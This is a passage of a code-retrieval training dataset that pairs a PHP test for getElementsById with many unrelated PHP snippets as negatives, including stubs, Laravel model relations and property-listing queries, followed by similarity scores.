}", "public function writeAndClose();", "public function write($content);", "public function write($data, $length){ }", "abstract protected function write(array $record);", "abstract function write ($message);", "public function write($buffer)\n {\n }", "function write($id, $data, $next);", "public function getWriter() {}", "public function write(){\n\n\t\t$ACHFile = fopen($this->getFileLocation(), \"w\");\n\t\tfwrite($ACHFile, $this->getData());\n\t\tfclose($ACHFile);\n\n\t\treturn $this->getFileLocation();\t\n\t}", "protected function write()\n {\n if (!is_dir($this->path)) {\n mkdir($this->path);\n }\n\n file_put_contents($this->file, json_encode([\n 'network' => $this->network,\n 'epoch' => static::$epoch,\n 'iteration' => static::$iteration,\n 'a' => $this->a,\n 'e' => $this->e\n ]));\n }", "public function write($bytes) {}", "public function write($bytes) {}", "public function write($bytes) {}", "public function write($string);", "public function write($contents);", "protected function write(array $record) {\n\t}", "public function write($name, $content);", "public function write(): void\n {\n $this->writeAndReturnAffectedNumber();\n }", "public function write($string){\n \treturn ser_write($string);\n }", "abstract public function serialize();", "abstract public function serialize();", "public function write(): string\n {\n\n $msg = \"\";\n foreach ($this->tree as $tree) {\n $msg .= $tree[0]::toHl7($tree) . chr(13); //carriage return\n }\n return $msg;\n }", "public function write(): bool\n {\n }", "public function write(): bool\n {\n }", "private function _writeValue($value)\n\t{\n\t\tfwrite($this->_stream, $value);\n\t}", "private function writeBlock()\n {\n if ($this->block_count > 0) {\n $this->encoder->writeLong($this->block_count);\n $to_write = (string) $this->buffer;\n\n if ($this->codec === AvroDataIO::DEFLATE_CODEC) {\n $to_write = gzdeflate($to_write);\n } elseif ($this->codec === AvroDataIO::ZSTANDARD_CODEC) {\n if (!extension_loaded('zstd')) {\n throw new AvroException('Please install ext-zstd to use zstandard compression.');\n }\n $to_write = zstd_compress($to_write);\n } elseif ($this->codec === AvroDataIO::SNAPPY_CODEC) {\n if (!extension_loaded('snappy')) {\n throw new AvroException('Please install ext-snappy to use snappy compression.');\n }\n $crc32 = crc32($to_write);\n $compressed = snappy_compress($to_write);\n $to_write = pack('a*N', $compressed, $crc32);\n } elseif ($this->codec === AvroDataIO::BZIP2_CODEC) {\n if (!extension_loaded('bz2')) {\n throw new AvroException('Please install ext-bz2 to use bzip2 compression.');\n }\n $to_write = bzcompress($to_write);\n }\n\n $this->encoder->writeLong(strlen($to_write));\n $this->write($to_write);\n $this->write($this->sync_marker);\n $this->buffer->truncate();\n $this->block_count = 0;\n }\n }", "public function writeFile()\n {\n $this->eof();\n\n return parent::writeFile();\n }", "protected function _writeFileHeader() {}", "public function write($buf);", "public function writeAll()\n {\n foreach( $this->values as $name => $value ){\n $this->_write( s($name), s($value) );\n }\n }", "public function write(array $data);", "public function write( $name )\n {\n $value = $this->getValue( $name );\n $this->_write( $name, $value );\n }", "public abstract function serialize();", "public function write($key, $data)\n {\n }", "protected function write(array $record)\n {\n }", "function write($v1 = true) {\n if ($this->debug) print($this->debugbeg . \"write()<HR>\\n\");\n if ($v1) {\n $this->_write_v1();\n }\n if ($this->debug) print($this->debugend);\n }", "function write($message);", "public function write($filename)\n {\n // TODO: Implement write() method.\n }", "abstract protected function writeToResponse(Response $response) : Response;", "abstract protected function writeToResponse(Response $response) : Response;", "public function getDirectWrite() {}", "function fwrite($type, $message) {\n return $message;\n}", "public function binarySerialize();", "public function write($key, $value);", "public function output() {}", "public function log($write)\n\t{\n\t\tif ($this->isFull())\n\t\t\tarray_shift($this->_data);\n\n\t\t$this->_data []= (int)$write;\n\n\t\treturn $write;\n\t}", "public function write(poly_base_Article $obj);", "public function writeToString(): string {\n\n\t\t\t$memResource = \\Safe\\fopen('php://memory', 'w+');\n\n\t\t\t$this->write($memResource);\n\n\t\t\t\\Safe\\rewind($memResource);\n\n\t\t\treturn \\Safe\\stream_get_contents($memResource);\n\t\t}", "public function write($name, array $data);", "public function getFWrite()\n {\n \treturn $this->fwrite;\n }", "public function written()\n {\n return $this->written;\n }", "function stream_write( $data ) {\r\n\t\tif ( ! isset( $this->data_ref ) ) {\r\n\t\t\t$this->data_ref = '';\r\n\t\t}\r\n\r\n\t\t$left = substr( $this->data_ref, 0, $this->position );\r\n\t\t$right = substr( $this->data_ref, $this->position + strlen( $data ) );\r\n\r\n\t\tWP_Test_Stream::$data[ $this->bucket ][ $this->file ] = $left . $data . $right;\r\n\r\n\t\t$this->position += strlen( $data );\r\n\t\treturn strlen( $data );\r\n\t}", "public function serialize()\n {\n // TODO: Implement serialize() method.\n }", "abstract public function flush ();", "public function serialize() {}", "public function serialize() {}", "public function serialize() {}", "public function serialize() {}", "public function serialize() {}", "public function serialize() {}", "private function write($frame) {\n $out= new MemoryOutputStream();\n $frame->write(new StringWriter($out));\n return $out->getBytes();\n }", "public function serialize() {}", "public function serialize() {}", "public function write($filename);", "public function write($filename);", "public function serialize();", "public function serialize();", "public function serialize();" ]
[ "0.8649433", "0.8646907", "0.8646907", "0.8606725", "0.85408694", "0.80885327", "0.7593132", "0.7505934", "0.73740256", "0.7090101", "0.70632946", "0.7020453", "0.7020453", "0.7017237", "0.7017237", "0.7017237", "0.7000216", "0.6960262", "0.69449866", "0.6883285", "0.68110317", "0.68110317", "0.68110317", "0.68110317", "0.67981124", "0.67216134", "0.6692988", "0.66816574", "0.6611803", "0.6610804", "0.6381763", "0.63738227", "0.6368123", "0.63667846", "0.63005155", "0.62495524", "0.6234266", "0.621731", "0.6207596", "0.6203692", "0.6197207", "0.6186634", "0.6153902", "0.61477005", "0.61477005", "0.61443734", "0.61424816", "0.60960335", "0.60720944", "0.6053151", "0.6044867", "0.6043525", "0.604053", "0.604053", "0.60394853", "0.60361594", "0.60361594", "0.60309523", "0.6026002", "0.59753877", "0.59679234", "0.58767563", "0.5873567", "0.5864591", "0.5856697", "0.5846505", "0.583203", "0.5811252", "0.5803036", "0.57954997", "0.5784519", "0.5767777", "0.5767777", "0.57480395", "0.57461405", "0.57453233", "0.57380223", "0.5712102", "0.5703852", "0.5700004", "0.56933844", "0.56781924", "0.5669475", "0.56607527", "0.5659735", "0.5657885", "0.56570125", "0.5652094", "0.5652094", "0.5652094", "0.5652094", "0.5652094", "0.5652094", "0.5651315", "0.56503713", "0.56503713", "0.5649852", "0.5649852", "0.5634542", "0.5634542", "0.5634542" ]
0.0
-1
Note, this technically doesn't make sense but it's supported
public function test_getElementsById_should_return_matching_element() { $doc = '<html><p id="a"></p><p id="a"></p></html>'; $this->html->load($doc); $this->assertCount(2, $this->html->getElementsById('a')); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "protected function __init__() { }", "final private function __construct() {}", "final private function __construct() {}", "private function _i() {\n }", "private final function __construct() {}", "protected final function __construct() {}", "final private function __construct() { }", "final private function __construct() { }", "final private function __construct() { }", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct() {}", "private function __construct () {}", "public static function dummy() {}", "private function __construct()\t{}", "public function testQuarantinePrototypeGetQuarantined()\n {\n\n }", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "protected function __construct() {}", "abstract public function is_have();", "abstract protected function external();", "private function __construct() { }", "private function __construct() { }", "private function __construct() { }", "private function __construct() { }", "private function __construct() { }", "private function __construct() { }", "private function __construct() { }", "private function __construct() { }", "private function __construct() { }", "private function __construct() { }", "private function __construct() { }" ]
[ "0.54816073", "0.54265535", "0.54265535", "0.5389141", "0.5364506", "0.5312436", "0.52837914", "0.52837914", "0.52837914", "0.5247974", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.52471226", "0.5244905", "0.5244905", "0.5176165", "0.513729", "0.51280844", "0.50908506", "0.50138515", "0.50138515", "0.50138515", "0.50138515", "0.50138515", "0.50138515", "0.50138515", "0.50138515", "0.50138515", "0.50138515", "0.50138515", "0.50138515", "0.50138515", "0.50138515", "0.50138515", "0.50138515", "0.500442", "0.50039387", "0.4993583", "0.4993583", "0.4993583", "0.4993583", "0.4993583", "0.4993583", "0.4993583", "0.4993583", "0.4993583", "0.4993583", "0.4993583" ]
0.0
-1
Amenities that belong to the property.
public function amenities() { return $this->belongsToMany('App\Models\Properties\Amenity'); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function amenities()\n {\n return $this->belongsToMany(\n 'App\\Amenity', 'listing_amenities', 'listing_id', 'amenity_id'\n )->select(['id', 'title', 'icon']);\n }", "public function abilities()\n {\n return $this->belongsToMany(config('rinvex.fort.models.ability'), config('rinvex.fort.tables.ability_user'))\n ->withTimestamps();\n }", "public function abilities()\n {\n if (!$this->abilities) {\n $this->abilities = array();\n foreach (monsterToAbility::select('ability', 'description')->where('mid', '=', $this->id)->get() as $m) {\n $this->abilities[$m->ability] = $m->description;\n }\n }\n return $this->abilities;\n }", "public function areasDetails()\n {\n return $this->hasManyThrough(FilterPracticeArea::class, CandidateSubSpecialism::class, 'candidate_id', 'id', 'id', 'area_id');\n }", "public function availabilities()\n {\n return $this->hasMany('App\\Availability', 'location_id', 'location_id');\n }", "public function getAnchorAllowableValues()\n {\n return [\n self::ANCHOR_ALLIANCE_MEMBER,\n self::ANCHOR_CONFIG_STARBASE_EQUIPMENT_ROLE,\n self::ANCHOR_CORPORATION_MEMBER,\n self::ANCHOR_STARBASE_FUEL_TECHNICIAN_ROLE,\n ];\n }", "public function setPrivilages()\n {\n // $this->acl->allow('guest',null, array('view', 'index'));\n // $this->acl->allow('editor',array('view','edit'));\n // $this->acl->allow('admin');\n \n // Setting privilages for actions as per particular controller\n // $this->acl->allow('<role>','<controller>', <array of controller actions>);\n // You can also fetch it from DB.\n \n// // $this->acl->deny('guest','news', 'index');\n// $this->acl->allow('guest','news', array( 'demo1', 'view', 'index'));\n// $this->acl->allow('guest','job-board', array('index'));\n//\n// $this->acl->allow('editor','news', array( 'edit', 'view', 'index')); \n// $this->acl->allow('editor','job-board', array('edit', 'index'));\n//\n// $this->acl->allow('admin');\n //$this->acl->allow('guest');\n //Guest ACL\n $this->acl->deny('guest',array('user','shop','admin'));\n $this->acl->allow('guest','index');\n \n //User ACL\n $this->acl->deny('user',array('shop','admin'));\n $this->acl->allow('user','user');\n $this->acl->allow('user','index',array('logout','notfound'));\n \n \n // Shop ACL\n $this->acl->deny('shop',array('user','admin'));\n $this->acl->allow('shop',array('index','shop'));\n \n //Admin ACL\n //$this->acl->deny('admin',array('user','shop'));\n //$this->acl->allow('admin',array('index','admin'));\n $this->acl->allow('admin');\n // Note that the actions which are not mentioned above i.e. inside array of\n // controller-action - becomes access-denied automatically\n // as in above example, news controller also have one more action demo2,\n // but demo2 is not mentioned in above allow actions, so \n // when guest tries to access the action - demo2, it would not show the \n // content of demo2, rather It would show content of error/index.phtml\n }", "public function abilities(): HasMany\n {\n return $this->hasMany(PsAbility::class, 'champion_id', 'id');\n }", "public function amenityIds()\n {\n $this->attributes['amenityIds'] = $this->amenities->pluck('id');\n }", "public function getAssessors()\n {\n return $this->hasMany(Assessor::className(), ['projectId' => 'id']);\n }", "public function get_Aksesmenu()\n {\n $queryAksesmenu = \"SELECT user_access_menu.*, user_menu.menu, user_role.role\n FROM user_access_menu \n JOIN user_menu\n ON user_access_menu.menu_id = user_menu.id\n JOIN user_role\n ON user_access_menu.role_id = user_role.id\";\n\n return $this->db->query($queryAksesmenu)->result_array();\n }", "public function abilities()\n {\n return $this->belongsToMany(Ability::class, 'pokemon_abilities', 'pokemon_id', 'ability_id')->select(['ability_id', 'name']);\n }", "public function absences()\n {\n return $this->hasMany('App\\Models\\Absence', 'personnel_no', 'personnel_no');\n }", "public function enterprises(): HasMany\n {\n return $this->hasMany(Enterprise::class, 'categoria_id');\n }", "public function applicants()\n {\n return $this->members()->wherePivot('role', '=', Member::ROLE_APPLICANT)->get();\n }", "public function achievements()\n {\n return $this->hasManyThrough(Achievement::class, Profile::class);\n }", "public function getAvailabilities()\n {\n return $this->availabilities;\n }", "public function getAvailabilities()\n {\n return $this->availabilities;\n }", "public function managedProperties(){\n\n /*$manager =Auth::user()->whereHas('roles', function ($query) {\n $query->where('id',1);\n })->firstOrFail();*/\n\n $manager= Auth::user();\n //dd($manager);\n\n $managedProperties = Property::whereHas('information', function ($query) use ($manager){\n $query->where('manager_id',$manager->id)->where('isApprovedManager',1);\n })->verified()->latest()->paginate(10);\n\n $title = \"My Managed Properties\";\n\n return view('frontend.pages.view-property.managed-property.index',compact('title'))->with('properties',$managedProperties);\n }", "public function roles()\n {\n return $this->hasManyThrough(Permission::class);\n }", "public function getAuteurs()\n {\n return $this->hasMany(Auteurs::className(), ['types_id' => 'id']);\n }", "private function organizations(){\n $presidents = $this->base_model->getEmployee('President');\n foreach ($presidents as $key => $president) {\n $unders = $presidents[$key]['employeeUnder'] = $this->base_model->getEmployeeUnder($president[\"employeeNumber\"]);\n if(!empty($unders)){\n foreach ($unders as $underkey => $under) {\n $undersUnder = $presidents[$key]['employeeUnder'][$underkey]['employeeUnder'] = $this->base_model->getEmployeeUnder($under[\"employeeNumber\"]);\n foreach ($undersUnder as $undersunderkey => $uu) {\n $presidents[$key]['employeeUnder'][$underkey]['employeeUnder'][$undersunderkey]['employeeUnder'] = $this->base_model->getEmployeeUnder($uu[\"employeeNumber\"]);\n }\n }\n }\n }\n\n $this->response($presidents, REST_Controller::HTTP_OK);\n }", "public function antecedents(){\n return $this->hasMany(Antecedent::class);\n }", "public function roles()\r\n {\r\n return $this->belongsToMany(config('bootstrap-menu.models.role'), config('bootstrap-menu.relations.permission_role'))->withTimestamps();\r\n }", "public function getAccessoires()\n {\n if ($this->_oAccessoires === null) {\n $this->_oAccessoires = false;\n if ($oProduct = $this->getProduct()) {\n $this->_oAccessoires = $oProduct->getAccessoires();\n }\n }\n\n return $this->_oAccessoires;\n }", "public function getAdvisors()\n {\n return $this->hasMany(Advisor::className(), ['i_ID' => 'ID']);\n }", "public function getAchievements() { return $this->Achievements; }", "function dir_link_roles_entity_property_info() {\n $info = array();\n $entity_info = entity_get_info('dir_role');\n foreach ($entity_info['bundles'] as $bundle => $bundle_info) {\n $info[$bundle] = array(\n 'label' => $bundle_info['label'],\n 'description' => t('@role is a role of link.', array('@role' => $bundle_info['label'])),\n 'type' => 'dir_role',\n );\n }\n\n return $info;\n}", "public function menuItems(){\n return $this->hasMany('App\\Models\\MasterRecords\\MenuItem');\n }", "public function getAchievementCategories() { return $this->AchievementCategories; }", "public function menus(){\n return $this->belongsToMany('ChecklistSilfa\\Entities\\MainMenu', 'permisos_menu', 'user_id', 'permisos_id')->where('menu.estado','=','1')->orderBy('menu.id');\n }", "public function getItems()\n {\n $manager = Yii::$app->getAuthManager();\n $avaliable = [];\n foreach (array_keys($manager->getRoles()) as $name) {\n $avaliable[$name] = 'role';\n }\n\n foreach (array_keys($manager->getPermissions()) as $name) {\n if ($name[0] != '/') {\n $avaliable[$name] = 'permission';\n }\n }\n\n $assigned = [];\n foreach ($manager->getAssignments($this->id) as $item) {\n $assigned[$item->roleName] = $avaliable[$item->roleName];\n unset($avaliable[$item->roleName]);\n }\n\n return[\n 'avaliable' => $avaliable,\n 'assigned' => $assigned\n ];\n }", "public static function canDisplayAttorneyTypesMenu()\n\t{\n\t\treturn PermissionValidator::hasPermission(PermissionConstants::VIEW_ATTORNEY_TYPE);\n\t}", "public function permissions(){ return new manytomany_link($this, 'permission', 'rolepermissions');\n }", "function product_line_roles_fun() {\r\n return array(\r\n 'Ventilation' => 'permissiondata',\r\n 'Compression' => 'permissiondata',\r\n 'Infrastructure' => 'permissiondata',\r\n 'Stapling' => 'vlex_permissiondata',\r\n 'Patient Monitoring' => 'vlex_permissiondata',\r\n 'Ablation' => 'vlex_permissiondata',\r\n 'Vessel Sealing' => 'vlex_permissiondata',\r\n );\r\n}", "abstract function abilityGet();", "public function get_role_caps()\n {\n }", "public function roles();", "public function roles();", "public function roles();", "public function roles();", "public function accessRules()\n\t{\n\t\t$user = Yii::app()->user;\n\n\t\t//Si c'est un employe :\n\t\t\t//Il a accès à la supression, a l'index, à la vue et la maj\n\t\t\t//Il n'a pas accès à la partie admin\n\t\tif($user->getState('type') == 'employe')\n\t\t{\n\t\t\treturn array(\n\t\t\t\tarray('allow',\n\t\t\t\t\t 'actions'=>['index','view', 'update', 'delete','ajoutinfos'],\n\t\t\t\t\t),\n\t\t\t\tarray('deny',\n\t\t\t\t\t 'actions'=>['admin'],\n\t\t\t\t\t),\n\t\t\t);\n\t\t}\n\n\t\t//Si c'est une entreprise :\n\t\t\t//Il a accès à la vue et à l'index\n\t\t\t//Il n'a pas accès à la maj, à la supression et à la partie admin\n\t\tif($user->getState('type') == 'entreprise')\n\t\t{\n\n\t\t\treturn array(\n\t\t\t\t\tarray('allow',\n\t\t\t\t\t\t 'actions'=>['view', 'index'],\n\t\t\t\t\t\t),\n\t\t\t\t\tarray('deny',\n\t\t\t\t\t\t 'actions'=>['update','admin', 'delete'],\n\t\t\t\t\t\t),\n\t\t\t);\n\t\t}\t\n\n\t\t//Si c'est un utilisateur non connecté\n\t\t\t//Il a juste accès à l'index et à la vues\n\t\tif($user->getState('type') == NULL)\n\t\t{\n\t\t\treturn array(\n\t\t\t\t\tarray('allow',\n\t\t\t\t\t\t 'actions'=>['index', 'view'],\n\t\t\t\t\t\t ),\n\t\t\t\t\t);\n\t\t}\n\t}", "private function _refactorAmenities(&$listing, $listing_type)\n\t{\n\t\t$this->_refactorBooleanAmenities($listing, $listing_type);\n\n\t\t$amenities = array();\n\t\tif (!strcmp($listing_type, 'Rental'))\n\t\t\t$amenities = array('furnished_type', 'washer_dryer', 'parking_type', 'parking_spots', 'pets_type');\n\t\tforeach ($amenities as $field){\n\t\t\tif (empty($listing[$listing_type][$field]))\n\t\t\t\t$listing[$listing_type][$field] = '-';\n\t\t}\n\n\t\tif ($listing['furnished_type'] !== '-')\n\t\t\t$listing[$listing_type]['furnished_type'] = $this->Rental->furnished($listing[$listing_type]['furnished_type']);\n\n\t\tif ($listing[$listing_type]['washer_dryer'] !== '-')\n\t\t\t$listing[$listing_type]['washer_dryer'] = $this->Rental->washer_dryer($listing[$listing_type]['washer_dryer']);\n\n\t\tif ($listing[$listing_type]['parking_type'] !== '-')\n\t\t\t$listing[$listing_type]['parking_type'] = $this->Rental->parking($listing[$listing_type]['parking_type']);\t\n\t}", "public function experts()\n {\n return $this->hasMany('App\\AreaOfExpertise', 'TPPTrainerID', 'ID');\n }", "public function perms() {\n return $this->belongsToMany(config('entrust.permission'), config('entrust.permission_role_table'), 'role_id', 'permission_id');\n }", "function setPrivileges() {\n $this->Session->write('Privilege.User.id', $this->Session->read('Auth.User.id'));\n foreach(Configure::read('Privilege') as $entity => $privileges) {\n foreach($privileges as $key => $privilege) {\n $key = \"Club.\".Configure::read('Club.id').\".Privilege.$entity.$key\";\n $this->Session->write($key, $this->isAuthorized($privilege));\n }\n }\n }", "public function getAnwesenheitslistes()\n {\n return $this->hasMany(Anwesenheitsliste::className(), ['mitglied' => 'MitgliederId']);\n }", "public function Pareas(){\n if($this->empleado->cargo->permisoscargo->areas) return true;\n return false;\n }", "public function personas(){\n\n return $this->morphedByMany(Persona::class, 'cargoable'); //relacion muchos a muchos \"una persona tiene muchos cargos y un cargo tiene muchas personas\"\n }", "public function expertise()\n {\n return $this->hasManyThrough(Skill::class, Profile::class)\n ->where('is_group', false);\n }", "public static function canDisplayAreasMenu()\n\t{\n\t\treturn PermissionValidator::hasPermission(PermissionConstants::VIEW_AREA);\n\t}", "public function accessRules()\n {\n return array(\n array('allow', // @代表有角色的\n 'actions'=>array('view','change','see'),\n 'users'=>array('@'),\n ),\n array('allow', // allow admin user to perform 'admin' and 'delete' actions\n 'actions'=>array('create','see','update','delete'),\n 'expression'=>'$user->getState(\"info\")->authority >= 1',//,array($this,\"isSuperUser\"),\n ),\n array('deny', // *代表所有的用户\n 'users'=>array('*'),\n ),\n );\n }", "public function index($id)\n\t{\n\t\t//id de la propiedad\n\t\t$property = $id;\n\n\t\t//usuario\n\t\t$user_id = Auth::user()->id;\n\t\t$user_role = User::findOrfail($user_id);\n\n\t\t//amenities\n\t\t$amenities = Amenity::where('property_id', '=', $property)\n\t\t\t->paginate(5);\n\t\treturn view('admin.properties.characteristics.index',compact('user_role','property', 'amenities'));\n\t}", "public function providePermissions() {\n return array(\n 'CMS_ACCESS_KapostBridgeLogViewer'=>array(\n 'name'=>_t(\n 'CMSMain.ACCESS',\n \"Access to '{title}' section\",\n \"Item in permission selection identifying the admin section. Example: Access to 'Files & Images'\",\n array('title'=>_t('KapostBridgeLogViewer.MENUTITLE', 'Kapost Bridge Logs'))\n ),\n 'category'=>_t('Permission.CMS_ACCESS_CATEGORY', 'CMS Access')\n )\n );\n }", "public function aviones(){\n\t\t//la relacion es de 1 a muchos: 1 fabricante tiene muchos aviones\n\t\treturn $this->hasMany('App\\Avion');\n\t}", "public function categories(){\n\n return $this->hasMany('App\\Property');\n }", "public function getUnanchorAllowableValues()\n {\n return [\n self::UNANCHOR_ALLIANCE_MEMBER,\n self::UNANCHOR_CONFIG_STARBASE_EQUIPMENT_ROLE,\n self::UNANCHOR_CORPORATION_MEMBER,\n self::UNANCHOR_STARBASE_FUEL_TECHNICIAN_ROLE,\n ];\n }", "public function perms()\n {\n return $this->belongsToMany(Config::get('entrust-branch.permission'), Config::get('entrust-branch.permission_role_table'));\n }", "public function employeeprivilege(){\n\t\treturn $this->hasMany('App\\employeeprivilege','employee_id','id');\n\t}", "public static function canDisplayPropertyTypesMenu()\n\t{\n\t\treturn PermissionValidator::hasPermission(PermissionConstants::VIEW_PROPERTY_TYPE);\n\t}", "public function roles() {\n $roleClass = config('cani.models.role');\n $rolePropertieInPermission = config('cani.collections.role_permissions_propertie');\n \n return $this->belongsToMany(\n $roleClass, null, $rolePropertieInPermission . '._id'\n );\n }", "public function getAccesories()\r\n {\r\n return $this->accesories;\r\n }", "protected static function listIndustryMenuOptions()\n {\n $result = [];\n\n foreach(Industry::isActive()->get() as $industry){\n $result[$industry->id] = $industry->name;\n }\n\n return $result;\n }", "public function getAccessionsList(){\n return $this->_get(2);\n }", "public function getAccessionsList(){\n return $this->_get(2);\n }", "public function allAboutOrganism()\n {\n echo $this->introduceYourself();\n\n echo \"<br>\";\n echo $this->teenagerYesorNo();\n echo \"<br>\";\n echo $this->setTeenager(\"I set the teenager value to a weird string\");\n echo $this->getTeenager();\n echo \"<br>\";\n echo $this->private;\n }", "public function agendamentos()\n {\n //hasMany para fazer o relacionamento um para muitos\n return $this->hasMany(Agendamento::class);\n }", "public function roles(): MorphToMany;", "public function permisos()\n {\n return $this->belongsToMany(Permiso::class,\n PermisoAttr::PERMISOS_ROLES, 'rol_id', 'permiso_id');\n }", "public function perms()\n {\n return $this->belongsToMany(Config::get('guardian.permission'), Config::get('guardian.permission_role_table'), Config::get('guardian.role_foreign_key'), Config::get('guardian.permission_foreign_key'));\n }", "public function permissions(){\n return new manytomany_link($this, 'permission', 'staffpermissions');\n }", "public function analises()\n {\n return $this->hasMany('App\\Models\\Analise');\n }", "public function getCapeAgulhasSimilarPropertyOnShow(){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT properties.property_id, property_type, property_desc, price, num_bathrooms, street_no, \n\t\t\t\t street_name, num_beds, num_garages, property_image_id, image_location, suburbs.suburb_id, \n\t\t\t\t\t\t suburb_name, cities.city_id, city_name, municipalities.municipality_id, municipalities.municipality_name,\n\t\t\t\t\t\t agents.agent_id, firstname, lastname, email, phone, agencies.agency_id, agency_name, logo \n\t\t\t\t\t\t FROM property_images \n\t\t\t\t\t\t LEFT JOIN properties\n\t\t\t\t\t\t ON property_images.property_id = properties.property_id\n\t\t\t\t\t\t LEFT JOIN suburbs\n\t\t\t\t\t\t ON properties.suburb_id = suburbs.suburb_id\n\t\t\t\t\t\t LEFT JOIN cities\n\t\t\t\t\t\t ON suburbs.city_id = cities.city_id\n\t\t\t\t\t\t LEFT JOIN municipalities\n\t\t\t\t\t\t ON cities.municipality_id = municipalities.municipality_id\n\t\t\t\t\t\t LEFT JOIN agents\n\t\t\t\t\t\t ON properties.agent_id = agents.agent_id\n\t\t\t\t\t\t LEFT JOIN agencies\n\t\t\t\t\t\t ON agents.agency_id = agencies.agency_id\n\t\t\t\t\t\t WHERE municipalities.municipality_id = 112\n\t\t\t\t\t\t AND properties.property_status = 'On Show'\n\t\t\t\t\t\t GROUP BY properties.property_id\n\t\t\t\t\t\t DESC\n\t\t\t\t\t\t LIMIT 3\n\t\t\t\t\t\t \";\n\t\t\t\t$result = $this->conn->query($query);\n\n\t\t\t $properties = array();\n\t\t\t\t\n\t\t\t\tforeach($result as $row){\n\t\t\t\t\t$agency = new Agency();\n\t\t\t\t\t$agency->setAgencyID($row['agency_id']);\n\t\t\t\t\t$agency->setAgencyName($row['agency_name']);\n\t\t\t\t\t$agency->setLogo($row['logo']);\n\t\t\t\t\t\n\t\t\t\t\t$agent = new Agent();\n\t\t\t\t\t$agent->setAgentID($row['agent_id']);\n\t\t\t\t\t$agent->setFirstname($row['firstname']);\n\t\t\t\t\t$agent->setLastname($row['lastname']);\n\t\t\t\t\t$agent->setEmail($row['email']);\n\t\t\t\t\t$agent->setPhone($row['phone']);\n\t\t\t\t\t$agent->setAgency($agency);\n\t\t\t\t\t\n\t\t\t\t\t$munucipality = new Municipality();\n\t\t\t\t\t$munucipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$munucipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\n\t\t\t\t\t$city = new City();\n\t\t\t\t\t$city->setCityID($row['city_id']);\n\t\t\t\t\t$city->setCityName($row['city_name']);\n\t\t\t\t\t$city->setMunicipality($munucipality);\n\t\t\t\t\t\n\t\t\t\t\t$suburb = new Suburb();\n\t\t\t\t\t$suburb->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$suburb->setSuburbName($row['suburb_name']);\n\t\t\t\t\t$suburb->setCity($city);\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t$property = new Property();\t\t\n\t\t\t\t\t$property->setPropertyID($row['property_id']);\t\t\t\n\t\t\t\t\t$property->setSuburb($suburb);\t\n\t\t\t\t\t$property->setAgent($agent);\n\t\t\t\t\t$property->setNumBathRoom($row['num_bathrooms']);\n\t\t\t\t\t$property->setNumBed($row['num_beds']);\n\t\t\t\t\t$property->setNumGarage($row['num_garages']);\t\n\t\t\t\t\t$property->setStreetNo($row['street_no']);\t\n\t\t\t\t\t$property->setStreetName($row['street_name']);\t\n\t\t\t\t\t$property->setPropertyDescription($row['property_desc']);\t\n\t\t\t\t\t$property->setPropertyType($row['property_type']);\t\t\n\t\t\t\t\t$property->setPrice($row['price']);\t\n\t\t\t\t\t$property->setImageLocation($row['image_location']);\n\t\t\t\t\t$property->setSuburbID($row['suburb_id']);\n\t\t\t\t\t$property->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t$property->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t$property->setCityID($row['city_id']);\n\t\t\t\t\t$properties[] = $property;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\treturn $properties;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}", "public function get_available_rights();", "public function getMenus()\n {\n return $this->hasMany(Menu::className(), ['id' => 'menu_id'])->viaTable('menu_cook', ['cook_id' => 'id']);\n }", "public function getOccupations()\n {\n return $this->hasMany(TaskCategory::className(), ['id' => 'occupation_id'])->viaTable('contractor_occupation', ['contractor_id' => 'id']);\n }", "public function getAccessOfRender(): array\n {\n $access = $this->getAccessOfAll(true, $this->bsw['menu']);\n $annotation = [];\n\n foreach ($access as $key => $item) {\n $enum = [];\n foreach ($item['items'] as $route => $target) {\n if 